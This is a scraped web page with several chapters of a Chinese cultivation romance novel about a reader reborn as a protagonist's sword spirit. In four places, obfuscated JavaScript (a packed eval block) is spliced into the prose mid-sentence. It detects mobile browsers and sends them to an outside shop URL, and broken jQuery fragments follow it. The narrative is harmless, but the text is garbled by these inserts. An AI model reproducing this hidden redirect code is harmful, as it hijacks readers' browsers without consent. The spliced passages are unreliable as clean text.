剑宗本就广阔,进入洗剑池,一望无际都是连绵的沙丘。一眼望过去,半空不少剑气浮动,那都是剑宗弟子们在练剑。 霍闻星和魔尊交手,贺果知完全看不懂。 只有一个感觉。 好晕好晕好晕。 他恨不得长出触手,八爪鱼一样把霍闻星的手抱住。 不行他不能光想着他在转,他想点别的。贺果知努力把注意力抽离,发现,他还挺.硬的。 真的硬。 叮叮当当就撞到清幽的剑上去了。 不得不说,这种身体坚硬的感觉,还有点爽。 贺果知正爽着,突然,他被清幽……不,应该说是魔尊秦飞情双指一并,夹住了。 秦飞情的手指夹着他的剑刃,以力打力来抵挡霍闻星的进攻。 作为剑的时候,剑就是剑,没有作为人的头、脚的区别。对贺果知来说,秦飞情两只夹着的就是他的剑身。 这么打了一会儿,不知道怎么回事,秦飞情佩剑上的剑坠,几次三番打到贺果知身上。 有时候是剑柄,有时候是剑身。 疼倒是不疼。 贺果知感觉他时不时被敲一下。 秦飞情的样子,看起来是一个没那么厉害的小师妹,疲于抵挡霍闻星的招式。她的剑招乱了,因此剑坠也不听话,会打到剑上面。 看着秦飞情这努力的样子,贺果知心想,奥斯卡欠他一座小金人。 忽然,霍闻星一剑把秦飞情震退,结束这场切磋。 秦飞情后退好几步,像是力气不够一般拄着剑。 霍闻星把贺果知收回剑鞘。 这天后,贺果知一连几天都没跟霍闻星一起去问道峰。 短时间内,他不想进去了。 万一魔尊秦飞情心血来潮,又找霍闻星切磋他怎么办。 “贺果知。”裴连卿推门而入。 贺果知正拿着刚洗好的桃子,准备吃个桃子,抬头看到裴连卿。 “裴师弟,正好有桃子吃。”贺果知说。 裴连卿:“一会儿吃,我给你看样东西。” 贺果知看到,裴连卿去他的乾坤袖中掏了掏,掏出一本书。 “这是?”贺果知不认识这个世界的文字,白天他在竹舍,除了吃些零食,会写写字认认字。 裴连卿:“话本。” “看你呆着无聊,给你看的。” 这不就是裴连卿找给他的修仙世界的小说吗。 贺果知太感动了:“裴师弟你人真是太好了,不知道怎么感谢你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289148|140122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 光认字练字太无聊,贺果知完全提不起劲,反正不影响他日常交流——大概因为这本来就是他看的小说的世界。 裴连卿看他高兴,跟着笑道:“客气什么,你要是真想感谢我,不要和我这么客气了。” “可以叫我连卿吗?”裴连卿问。 贺果知穿成霍闻星的本命剑,裴连卿是霍闻星的师弟,裴连卿又比贺果知笑,贺果知就喊裴连卿师弟了。 “为什么?”贺果知问,他忙又补充,“不是不愿意,就是有点好奇。” “想和你做朋友。”裴连卿说。 “你我性趣相投,我想和你成为朋友。” “是朋友的话,师弟师弟的喊有点别扭。” 贺果知思考了一下,觉得裴连卿说的有道理。他们师兄弟三人性情不同,的确没人和裴连卿一样,喜欢各种美食,怪不得裴连卿这么说。 裴连卿一身白衣,温和洒脱。这样的人,谁不想和他做朋友。 “好啊。”贺果知一口答应下来。 裴连卿笑了,给贺果知和自己各倒了一杯茶:“以茶代酒。” 贺果知也说:“以茶代酒。” 裴连卿也不是所有的课都和霍闻星一样,比如今天,霍闻星有课,裴连卿无课。 中午裴连卿去食肆买灵食,贺果知也想去,但食肆人多,剑在霍闻星的丹府中,他还是不去凑热闹了。 他吃瓜子倚着窗子,看到裴连卿,扔掉手里的瓜子壳:“连卿,连卿!” 裴连卿看向他,笑了一下。 碗筷什么的都摆好了,就等裴连卿和霍闻星回来。 “哈欠——连卿,你这么喊我师弟吗?”一道散漫的声音响起。 贺果知一愣,看到外面倚着墙,打了个哈欠的程相烽。 贺果知完全没看到程相烽怎么出现的,他回忆了一下,似乎是程相烽一直在这他没发现。 “对啊。”贺果知回的坦坦荡荡。 他嗅倒程相烽身上淡淡的酒气,明显是宿醉。贺果知往后退了退。 他后退,程相烽反而得寸进尺,手臂撑到窗子边缘,笑道:“这么嫌弃我?” “没。”贺果知说,“闻着晕。” 也不知道程相烽喝的什么酒,酒香倒是不怎么浓郁,贺果知只闻到一点,竟然觉得头晕。 他迫不及待远离酒味,跑出去迎接裴连卿。 “今天吃什么?”贺果知问。 “肘子。”裴连卿说。 这时一道懒洋洋的声音响起,倚在竹舍窗边的程相烽道:“二师弟,你的小剑灵,好像只看到吃的了,根本没看到你。” 霍闻星也回来了,他在裴连卿之后进来。 贺果知回头看了程相烽一眼。 程相烽勾起唇,笑的肆意。 好可恶的笑! 他当然知道霍闻星回来了。 他对本命剑有感应,本命剑又在霍闻星的丹府之中,他怎么会不知道。 “没有,我看到你了。”贺果知解释。 程相烽:“那你说二师弟什么时候回来的?” 这是送分题。 贺果知:“我喊‘连卿,连卿’的时候,老霍就在后面,我都知道的。” 他感应到本命剑和霍闻星回来,就在裴连卿的后面。 11. 第11章(修) “大师兄。”清冷淡漠的声音响起。 霍闻星长眸一抬,看向程相烽:“别逗他了。” 贺果知急着分辨,霍闻星这么一说,他反应过来了。 可恶的程相烽,不安好心。 程相烽这么做,哪里是在逗他,分明是在挑拨他和主角受霍闻星的关系。程相烽对他警惕这是其一,其二是他和霍闻星朝夕相伴,程相烽怎么能见他们关系好。 贺果知气鼓鼓的,别开眼不去看程相烽,也不想和程相烽说话。 倚着墙的程相烽,和白衣少年冷淡的眸光对上。 对视片刻,程相烽倏然笑了下:“好。” “吃饭吧。” 贺果知没说话,但悄咪咪在观察。 好奇怪,他刚才感觉程相烽和霍闻星之间暗潮涌动,一个对视噼啪带闪。不过转念一想,贺果知认为这一定是他解读错了。 程相烽和霍闻星他们师兄弟关系这么好,他们的对视,应该理解为默契的交流,一个对视暗含千言万语。 比如刚才,霍闻星应该是想表达。 “师兄,这是我的剑灵,我相信他。” 而程相烽对贺果知顾虑重重,只好暂且表示相信。 说:“好了,我知道了。” 啊,一定是这样。 又磕到了。 师兄弟,就是有常人所没有的默契。 这么一想,贺果知也不生气了。程相烽暗搓搓挑拨他和霍闻星的关系,不让他和霍闻星亲近,是既担心霍闻星,又对他和霍闻星这样的关系嫉妒。 在吃醋呢。 吃醋好。 吃醋好呀。 贺果知抠到糖吃了心情好,中午吃了两碗饭。 裴连卿笑道:“这么喜欢吃肘子,那明天我再去买。” 贺果知还没说话,和他们一起吃饭的程相烽插话:“三师弟,你也太照顾他了吧。” 裴连卿给贺果知夹了一块肉,笑容不变:“哪里是照顾,我们这是兴趣相投。” “你和二师兄,一个嗜酒如命,一个对什么都漠不关心。果汁就不一样了,他喜欢吃,刚巧我也喜欢。” “这可不是我不照顾你们,你们对灵食都不感兴趣,你们要是喜欢,我也给你们带。” 贺果知乖巧:“谢谢连卿。” 说着,朝程相烽投去一眼。 他实在是很想看看程相烽的表情。 程相烽这么说的目的,还不是和之前在院子里一样,说他和裴连卿关系好,暗搓搓挑拨和他霍闻星的。 但是,裴连卿可没让程相烽得逞。 在裴连卿的角度,他就是这么想的,压根不知道程相烽的目的。 贺果知看去的这一眼,自以为隐蔽,没想到正好对上程相烽的目光。 贺果知一愣。 吃饭的时候,青年找东西把他的长发都扎起来,但明显不擅长这件事,所以如瀑的长发被他扎的乱糟糟的,几缕发丝垂在雪白的脸侧。 他在吃东西,小动物似的偷偷摸摸看过来,自以为不会发现,实际却被抓个正着。表面看起来平静,但那双乌黑漂亮的眼眸,瞳孔颤了一下。 程相烽勾起唇,笑了一下。 青年立刻转回头,缩着脖子吃东西,完全不看他了。 程相烽正要说什么,听到霍闻星开口。 “下午一起去听讲吗?”贺果知本来在想暗自腹诽程相烽,闻言被霍闻星的话吸引注意力。 要是霍闻星想要他一起,他当然会和霍闻星一起去。 可霍闻星是谁,修无情道性情淡漠的主角受,别看还是个少年,却不骄不躁,更不要说需要陪这么幼稚的事。 贺果知一边认字一边看话本,完全不想去。但想到霍闻星这么问,一定有原因,他把自己想看话本的念头按下去,答应。 “好呀。” 贺果知中午吃的有点多,下午霍闻星上课他的剑身躺桌上睡觉。 迷糊半个下午,总算下课了。 贺果知这才想起来正事,他给霍闻星传音:“你问我去不去听讲,是不是有什么事啊?” 霍闻星短暂沉默,道:“有一件事。” 他就知道! 贺果知给自己点了一个赞。 他可真是太机智了。 “什么事?”贺果知问。 霍闻星:“我查阅藏书阁的书籍,找到一种可以缓解你头晕的方法,想试一试。” 贺果知在剑里面,霍闻星用他交手,贺果知会晕得想吐。从春深城回来,霍闻星一直在找解决的办法。 “找到了?什么方法,快给我试一试。”贺果知道。 此时他们已经抵达埋剑谷。 埋剑谷终年积雪,气温极低。贺果知一到这里感觉冷的发抖,霍闻星源源不断把灵力注入剑里他才感觉不冷了。 霍闻星教给他几句心法,贺果知照念,按霍闻星说的调动灵力。 持剑者越强,剑灵也越强大,贺果知不用专门去修炼。不用他修炼,但需要他和霍闻星“心意相通”,也就是剑修们“人剑合一”的状态,发挥出剑法的最大威力。 作为剑灵,他至少能在剑里面。 霍闻星把银白的剑握到手中,随手用了几个剑招,劈风斩雪。 “还晕吗?”霍闻星停下来问。 贺果知从未如此清醒:“一点都不晕了。” “老霍。”贺果知甜甜喊人。 “……嗯?” “既然有不让剑灵晕的办法,那有没有让剑灵在剑里面呆着舒服的,里面真的又冷又硬。”贺果知说。 这怎么可能有。 对于剑内诞生的剑灵,剑是最舒适、最安全的地方,不会有任何不适。 霍闻星:。 “可以试试。” “老霍你太好了,你是天下第一好的剑修。” 贺果知夸起人来不要钱。 贺果知又问霍闻星关于“人剑合一”的事:“需要我做什么吗?” 虽然他想这么当咸鱼,但也不能拖霍闻星后腿,想起剑灵需要做的事,恐怕他不能这样躲清闲了。 “不用。”霍闻星说。 贺果知:“真的不用?” 他问的时候,都做好要苦哈哈修炼的准备了,心想主角的本命剑也不好当。 霍闻星:“你相信我吗?” “信啊。”贺果知毫不犹豫回答。 他穿的世界是一本小说,霍闻星是书里的主角受,未来仙洲共尊的仙尊。这段的相处,霍闻星又对这么好,他怎么会不相信霍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289149|140122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻星。 霍闻星看了他一眼,淡淡道:“那就可以了。” 几天后的一个下午,贺果知在窗边看话本,时不时拿一块点心吃。忽然,他一顿,放下话本,透过窗子抬头去看。 他现在是剑灵,也可以感受到空气中灵气的流动。此时,一个笼罩天幕的阵法出现在剑宗上空。 谢振涛正好和一队巡逻弟子经过这里,他让巡逻弟子们先走,进入小院。 贺果知打开门,压低声音:“谢师兄,这是出什么事了?” 谢振涛神情严肃:“封山,全力搜捕邪修。” 果然和贺果知想的一样,到了抓捕邪修的剧情,那代表魔尊秦飞情也要行动了。 “你要去找霍师弟吗?我送你过去。”谢振涛问。 贺果知完全不会剑法,在谢振涛手下几招落败,遇到魔修很危险。 贺果知:“不用,我可以传过去。” “传过去?”谢振涛起初疑惑,想了想明白过来,“你是说剑灵不能离剑太远,你可以利用这一点过去?” 贺果知:“对。” “等你走了,我找个人少的地方飘过去,距离一到,咻的一下,我就回到剑里了。” 谢振涛无奈地笑了一下:“还是我送你吧,谁知道封山之后,邪修会躲到哪里。你说的人少的地方,邪修也许也觉得那里方便躲藏。” 贺果知一听,谢振涛说的有道理。 他只想着用“被动”快速过去,也不用麻烦谢振涛,但确实和谢振涛说的一样,会碰上邪修。 他和剑宗弟子又不一样,剑宗弟子不论修为,都刻苦修炼剑法,他可真是一点都不能打,遇到只有挨打的份。 “那多谢谢师兄了。” 谢振涛带贺果知去问道峰的路只走了一半,遇到从问道峰回来的霍闻星。 谢振涛御剑飞行带着贺果知,贺果知踩着谢振涛的剑,抓着谢振涛的衣服在后面,见到霍闻星挥手:“老霍!” 霍闻星的剑也停下来。 御剑飞行的剑停下来,周围没了狂乱的剑风。贺果知倒是想直接飘到霍闻星身边,但这是在高空,他还是有点怕。 他伸手:“你再过来点……” 霍闻星扫了眼御剑靠近,抓住他乱动的那只手,一把把他拽到剑上。 谢振涛看着他们,道:“贺果知送到了,那我也走了,还有任务在身。” “有劳师兄。”霍闻星道。 “嗯嗯,你要小心。”贺果知说。 “客气。”谢振涛回答霍闻星,走之前看了贺果知一眼,应道:“好。” 贺果知:“谢师兄看我自己在竹舍,所以专门送我过去找你。” 谢振涛之所以送他,是因为他是剑灵,对霍闻星很重要,他这是在保护霍闻星的剑。在谢振涛的角度,当然是为了让霍闻星本命剑保持最佳状态。 这是因为他没有开窍,无论找霍闻星切磋,还是保护剑灵,都是从为了和霍闻星打架的角度。但实际上,其实都是他见“心悦的人”的借口罢了。 身体先于思考。 他得给谢振涛助攻一下。 “谢师兄人不错吧,专门把你的剑灵送过来。”贺果知说。 重点是“人好”,“专门”,都是为了霍闻星啊。 12. 第12章 “嗯,不错。”白衣少年淡淡应了一声。 助攻成功! 贺果知想。 霍闻星可是承认谢振涛人好了,也知道谢振涛专门把他的剑灵送回来。 贺果知是这么想的,可是看着霍闻星,他却有些迟疑。 他是霍闻星的本命剑,这段时间和霍闻星朝夕相对,可能是熟了很多,他怎么感觉……霍闻星的语气过于冷淡了? 正当贺果知努力思索的时候,他听霍闻星道。 “回来,我们要去一个地方。” 霍闻星这么说,贺果知当即想起这段剧情。 剑宗在宗门内全力搜捕邪修,魔尊秦飞情趁着这个机会,前往剑宗“天柱”。 在小说中,天柱一共有六根,分别在仙洲六大仙门之中,由这六大仙门保护。天柱实际上是封印,它将世间浊气都锁一定的范围内,不让这些浊气污染灵气,摧毁世间万物。 秦飞情是魔尊,行事肆意,他要破坏天柱让浊气为祸世间,或是利用天柱做什么,并不是一件奇怪的事。 贺果知看的小说情节,并没有秦无情这么做的原因。 在小说中,秦飞情被霍闻星吸引,扮作小师妹接近霍闻星,没想到反而被霍闻星注意到。 秦飞情去往天柱所在的位置,霍闻星跟在他后面。 察觉秦无情的意图,阻止秦飞情。 贺果知连忙答应下来,回到剑里面。 贺果知看的情节,是攻君们和霍闻星的感情线,他找糖吃,他几乎没看跌宕起伏的剧情,获得什么秘宝、挫败什么阴谋。因此贺果知一开始想的,就是他苟好,围观霍闻星和攻君们的爱情,没想改变什么。 可是等情节来临,让他清楚意识到霍闻星受伤这件事会发生,贺果知犹豫,不知道应该怎么办。 他想起描述的文字,看着就很疼。霍闻星一次次忍受疼痛,都不会发出过多的声音。 这个情节是魔尊在和霍闻星交手中,越来越对霍闻星感兴趣。 霍闻星重伤后,师尊为他治伤。 这个情节,同时还是霍闻星和师尊感情线的一个重要转折点。师尊应该道心清明,可是在看到霍闻星重伤的样子,道心不稳。 他要是提醒了霍闻星,改变了师尊和霍闻星的感情线怎么办? 贺果知抱着灵体的膝盖,蜷在剑里面。 他重重叹了一口气。 正想着,贺果知忽然有一种很不舒服的感觉。他用剑的角度去看,看到了通天彻地的天柱。 不远处,秦飞情伪装的小师妹正在不紧不慢朝天柱的方向走过去。再往前,就是天柱所在的结界范围了。秦飞情轻而易举在结界上开个缺口,也是这时,霍闻星阻止秦飞情。 来不及了! 贺果知给霍闻星提醒:“老霍,你千万小心!小师妹看起来很厉害!” 贺果知也不知道他的提醒有没有用,会怎么样。要是对师尊和霍闻星的感情线产生影响,那他努力把感情线拉回来。 他可是满书找糖的吃的,区区感情线歪了,贺果知有一定把握他能操作一下,把感情线拉回来! “站住。”霍闻星道。 这是一条山间的小路,秦飞情在前,霍闻星在后。 秦飞情停下来,回头看到霍闻星,一点都不意外。 秦飞情还是小师妹的样子,转回身,巧笑嫣然:“霍师兄。” 霍闻星注视秦飞情,说:“你不是剑宗弟子。伪装身份,潜入剑宗,趁着剑宗内搜捕邪修来到这里,你的目的是什么?” 远方半空中,可以看到灵力激烈的交锋,那是找到了邪修的藏身之处,剑宗长老、巡逻弟子都在赶去那里。按照时间算,没有霍闻星阻拦,秦飞情正好悄悄在结界上开一个口子进去。 秦飞情打了一个响指,解除小师妹的伪装。眨眼间,一个长身玉立的黑衣男子出现。 他有一双极为漂亮的狐狸眼,容貌俊美。 “霍师兄。”解除伪装,声音也不是少女的声音,可秦飞情还是这样称呼霍闻星,他流露出受伤的表情,“你也有事瞒着我啊。” 他道:“你的剑里面,有一个已然开启灵智的剑灵,对吧。” “我有些好奇,你的剑灵是什么样子的。” 贺果知听着秦飞情说的话,一下头皮都麻了。 秦飞情是什么时候知道的,他完全不知道! 霍闻星在本命剑上有拒绝窥探的法术,而他在秦飞情面前没乱动也没有出去。 魔尊果然可怕。 “随我去见掌门。”霍闻星道。 秦飞情勾起唇轻笑,吐出一个字:“不。” 灵气疯狂往霍闻星身边汇聚,少年雪白的袖袍无风自动,他提剑攻向秦飞情。 秦飞情拿了他伪装师妹的那把剑出来,但剑并没有出鞘。 贺果知在剑里面,默念霍闻星教给他的,不那么晕的心法。 他不晕了。 即使不怎么能看明白秦飞情和霍闻星的交手,他也能看出来,霍闻星处于劣势。 秦飞情拿着那把没出鞘的剑,几乎都没怎么移动。 秦飞情和霍闻星修为的差距实在太大了。 秦飞情剑柄上的剑坠,有一下没一下碰到贺果知的剑身上。 起初贺果知注意到,被接连碰了好几下,他忽然反应过来。 现在的秦飞情又不需要隐藏实力,装着不敌的样子,那剑坠碰到霍闻星的剑,明显是故意的。 秦飞情:“嗯?我都知道它的存在了,它怎么也没什么动作。难道你的剑灵和你一个脾气,都这么冷淡吗?” 霍闻星没有回答他。 秦飞情笑了一下,握住霍闻星的手腕一折,夺走银白的长剑。 秦飞情曲指敲在剑身上:“剑灵,出来。” 贺果知装死。 秦飞情凶名在外,手上人命无数,贺果知嗑死对头相杀嗑得挺好,但让他出来见魔尊。 那绝对不行。 害怕。 可装死只是贺果知一厢情愿的想法,秦飞情见剑没有反应,又曲起手指敲了一下。 ——贺果知也不知道秦飞情怎么做到的,他一下被弹出来了! 贺果知:??? 平时都是他在剑里面,超出距离被传送回去,这还是他第一次被弹出来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289150|140122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在剑里面他很有安全感,被秦飞情弹出来,他的安全感啪的一下,没了! 贺果知手腕一沉,被秦飞情往前一拽,他们之间的距离瞬间缩短。 “你就是剑灵?”秦飞情的目光在他和霍闻星之间转了一圈。 “有趣。你是怎么成为他的剑灵的?” 秦飞情手指勾缠上贺果知的长发。 “放开他。”霍闻星站起身,语气冰冷。 秦飞情夺剑时,顺道给了他一掌,霍闻星的后背撞到山体之上,白衣染上血色。 秦飞情却根本没往霍闻星的方向看一眼,抬手召来师妹那把剑,刺向霍闻星。 “小心!”贺果知感受到那把剑上的森然杀意,本能想过去。 可他的手腕,牢牢被秦飞情握在手中,肩膀上的巨力,把贺果知拽回来,头顶不慎磕到秦飞情的下巴。 “美人,你担心他?”秦飞情嘶了一声,随后笑着问。 听到这个称呼,贺果知寒毛都炸起来了。 被秦飞情这么喊的,除了霍闻星,大多没什么好下场。 铛—— 瞬息驰向霍闻星的剑,在金属的嗡鸣声中被拦下来。 一个冰冷淡漠的白衣男子出现,挡住了这把剑。眨眼间,这把杀气森然的剑发出悲鸣,随风碎裂。 秦飞情眯起眼:“宗嚣。” 听到这个名字,贺果知一下认出来人,是霍闻星的师尊!也是剑宗的太上长老,如今的仙洲第一人! 宗嚣冷淡睨了秦飞情一眼,并未说话,视线落在霍闻星身上:“可有领悟?” 霍闻星垂下眼:“有。” 听到师徒二人的对话,秦飞情若有所思:“一开始你就把宗嚣请来了。而你,则是把我当作你徒弟的练剑石,拿我练剑?” 秦飞情笑起来:“很好。” “他日你们师徒二人不要落到我手里,否则定让你们求死不能。” 宗嚣这才将眸光转向秦飞情,薄唇轻启:“去。” 被秦飞情拿在手中的霍闻星的本命剑,不知怎么回事突然出现在秦飞情身后,那把剑穿透秦飞情,秦飞情倒在地上,变成一个巴掌大的稻草人。 替身术。 贺果知这才松口气。 原著里也是这样,霍闻星并非独自前往,而是在那次交手,已然察觉秦飞情的不同寻常,所以提前告知宗嚣。 “剑灵?”贺果知感受到一股注视,落到他身上。 贺果知瞬间僵在原地。 宗嚣只是抬眸看过来这一眼,他仿佛一下被看穿了。 贺果知硬着头皮回答:“是。” 贺果知看到宗嚣身后的霍闻星,霍闻星白衣上都是血,他却并没有管,而是解释:“师尊,他确实是我的剑灵,只是不知为何与寻常剑灵不同。” 宗嚣不置可否。 霍闻星还要说什么,贺果知看到霍闻星晕过去。 这下他也顾不上对宗嚣的畏惧,立刻飘过去:“老霍!” 先于贺果知,一双修长有力的手,接住霍闻星。 贺果知来得及停下来,撞到宗嚣的肩膀! 嗵! 13. 第13章 疼疼疼。 贺果知捂着脸往后退。 撞鼻梁上了。 宗嚣将霍闻星放到一柄宽剑之上,回眸看向他,眼神冰冷。 贺果知被宗嚣凛冽的眼神吓了一跳,眼眶里的眼泪都憋回去了。 青年素白的手捂着脸,通过指缝看宗嚣,眼眶红红的,像一只兔子。 宗嚣这一眼太冷了,贺果知缩了缩脖子。 好在宗嚣只是看他一眼,袖袍一挥,贺果知再眨巴一下眼,他出现在一间卧房,宽剑悬停在床边,将霍闻星放到床上。 这个时候,贺果知才发现自己变得很轻,手指竟然有些透明,他还有些困倦。 宗嚣在床榻旁坐下,双指一并,按在霍闻星的手腕上,灵力顺着霍闻星的灵脉源源不断注入。 宗嚣给霍闻星稳定伤势,暂时不会管他。贺果知没有离去,在房间里找个凳子坐下来。随着灵力的注入,困倦渐渐散去,贺果知看到他的身体凝实几分。 哐。 房门打开,贺果知看到医峰长老匆匆进来,袖袍一挥拿出药箱。宗嚣让开位置,长老给霍闻星诊脉。 贺果知知道这段剧情霍闻星有惊无险,但看到宗嚣给霍闻星输送灵力,又有医峰长老赶来,他这才放下心来。 他的鼻梁还有些痛,提醒他刚才发生的事。 他撞到宗嚣身上,宗嚣冷冷看他一眼。 由此霍闻星判断,宗嚣和霍闻星的感情线没有受到影响。宗嚣看到霍闻星受伤,心境产生波澜,意识到霍闻星对他的重要和不同。 无论哪个攻君,都对霍闻星有强烈的独占欲。 宗嚣看他那一眼的冰冷,就是因为他要去碰霍闻星。宗嚣也许对自己的感情并不是太明白,但独占欲却已然在心底滋生出来。 唔。 好嗑。 正嗑着,贺果知突然发现有点不对。 等等…… 刚才宗嚣怎么让一柄巨剑把霍闻星送回来的,公主抱呢??? 这一段贺果知记得非常清楚,原著中写的是宗嚣一把抱起霍闻星,霍闻星面色苍白,靠着宗嚣的肩膀。 贺果知蹭的一下站起来。 宗嚣朝他侧过一眼。 贺果知一僵,又缓缓坐回去。 对于一个到处抠糖吃的读者来说,霍闻星和攻君没有公主抱,那就是在发刀子。 贺果知拒绝接过这一把剧情刀,仔细思考起原因。 公主抱呢,他辣么大一个公主抱怎么没有了?! 贺果知感觉他的心里和有一个猫尾巴在蹭一样。 冷静。 贺果知无比严肃地想。 他是一个成熟且合格的读者,他一定可以找到原因。 贺果知揪了两把他的长发,忽然抬头看到宗嚣,高冷淡漠,突然福至心灵。 他知道原因了! 宗嚣修无情道,他隐约意识到他的感情,但他追寻大道多年,道心何其稳固,自我审视后克制选择克制,所以才没有去抱,而是减少接触,以此疏远。 贺果知可太喜欢这种禁欲人设了。 现在越克制,回头越是要发疯。 这样也非常好嗑。 还有一个原因,他都穿了,原著可没有一个穿越的剑灵,所以他所经历和原著有一些不同大概也是正常的。 那边医峰长老给霍闻星诊治完,步伐匆匆,一抬头看到他:“那个小剑灵,你过来一下。” 贺果知飘到长老身边。 门打开,风雪扑面而来。宗嚣的院落在雪山,入目一片霜白。 长老一步迈入风雪,似乎在思索什么,压根没注意到还在屋内的贺果知。 贺果知试探一下,被迎面吹来的冷风给撅回来了。 他回头,正要说话,一个披风从半空掉下来。 贺果知把自己从带着毛领的披风中扒拉出来,道谢:“多谢师尊。” 贺果说完,突然一卡。 他可不是宗嚣的徒弟。他平时都是跟着霍闻星喊,霍闻星的师兄他喊师兄,霍闻星的师弟他喊师弟。 宗嚣淡淡睨他一眼,没有说什么。 贺果知心头微松。 宗嚣。 似乎没他想的那般可怕? 他把披风裹上,披风的兜帽扣上,匆匆离开的长老又回来了。 长老:“怎么还在这?” 贺果知忙说:“来了。” 长老在后院的冷池旁支上一口大锅,教给贺果知火系法术,让他添柴控火,而长老则是把一堆贺果知不认识的药材加进去。 很快带着浓烈苦味的味道窜出来。 半个时辰后,贺果知看到那柄宽剑把霍闻星运出来。 此时的霍闻星已然恢复几分神智,他从宽剑上下来,进入冷泉的池水之中,盘膝坐好。 而长老则是把烧好的水和汤药,全都倾倒进去。 贺果知看过这段,知道这是在解毒,是秦飞情擅长用毒。还把一根带毒的针刺入霍闻星体内。若非剑骨道体强悍,寻常修士,当即会毒发身亡。 同时,宗嚣也进入泉池之中,他在霍闻星的身后坐下。 长老用一个法术,泉池的冷水变热,蒸腾出热气。 隔着氤氲的热气,贺果知看到,宗嚣唇动了动,说了什么。 嘿! 贺果知不会唇语,宗嚣的声音也不大,但他知道宗嚣给霍闻星说的是什么。 宗嚣说:“不必忧心,交给为师便好。” 长老擦了一把头上的汗,喊人:“小剑灵,快过来,还没忙完。” 贺果知连忙把目光收回来。 充满了干劲。 一连煮了三锅药水,长老才停下来。 冷泉蒸出的热气,让这里的温度升高,贺果知把兜帽摘下来,和长老一起找个石头坐下休息。 长老关注泉池中的治疗情况。 霍闻星也跟着看。 从下午到日落,换了三次药水,这才结束治疗。 霍闻星依然躺到宽剑上,被宽剑送回去。 宗嚣则是走出泉水。 贺果知视线从宽剑上收回来,看到的就是里衣浸透的宗嚣,一步步向他和长老的方向走过来。 贺果知:!!! 那个瞬间,贺果知的脑子里只有一句话。 他应该闭眼! 湿透的里衣贴在紧实的胸肌上,勾勒出肌肉的轮廓。偏偏这样做的人一脸淡漠,像是他做的是再平常不过的事。 原著中治疗这一块,霍闻星和宗嚣穿的是单薄的里衣。毕竟进入泉水中,穿着多余的衣裳会重,而且穿着衣裳,会阻碍药水发挥作用。 贺果知一下撇开眼,低下头。 长老看到他的样子打趣:“小剑灵,都是男人,你也太害羞了。” 贺果知心说。 这可不是他害羞,主要是宗嚣是弯的,他喜欢霍闻星。他可不是害羞,直男看身体不用避讳什么,但贺果知都知道宗嚣是弯的,再看不就不礼貌了。 而且宗嚣还是,这样涩气的样子。 “我先回去了。”贺果知丢下这句话,一眼也没看宗嚣,跑了。 长老看着他离开的身影,笑了一声:“这小剑灵,还怪有意思的。” 宗嚣的身上,已然穿着一套干的白衣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289151|140122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>贺果知回到屋内,看到霍闻星躺下了。 他到床边,帮霍闻星把被子盖上。 贺果知看到,霍闻星的墨发还束着。他伸手,去碰霍闻星的发带。 脸色苍白的少年,睁开眼。 贺果知:“你别动,我解一下,你睡着舒服。” 霍闻星没说话,又闭上眼。 贺果知折腾一会儿,把霍闻星的发带拆下来,墨发也散下来。 他把发带放到霍闻星的枕头旁边。 霍闻星伤势稳定,贺果知坐在床边,手撑着下巴,想了下治伤的这段情节。他特别想问宗嚣,宗嚣在想什么。是不是心疼,心动,但又隐忍,克制,反复拉扯。 贺果知抠了点糖吃,肚子也发出呼噜的声音。 他回过神来,发现天色完全暗淡下来。 按平时的时间,这个时候贺果知应该和裴连卿一起吃饭了。正想着,裴连卿过来了。 裴连卿眉眼间尽是担忧,压低声音:“师兄怎么样了?” 贺果知也小声:“祛过毒了,刚躺下休息。” 说了两句话,贺果知的肚子又呼噜一声。 裴连卿笑了:“走吧,吃饭去。” 贺果知:“老霍……” 裴连卿:“我们给师尊说一声。” 贺果知和裴连卿下山,去食肆吃饭。 要去食肆吃晚饭,玉尘峰到食肆超出距离,贺果知把霍闻星的剑一并带走了。 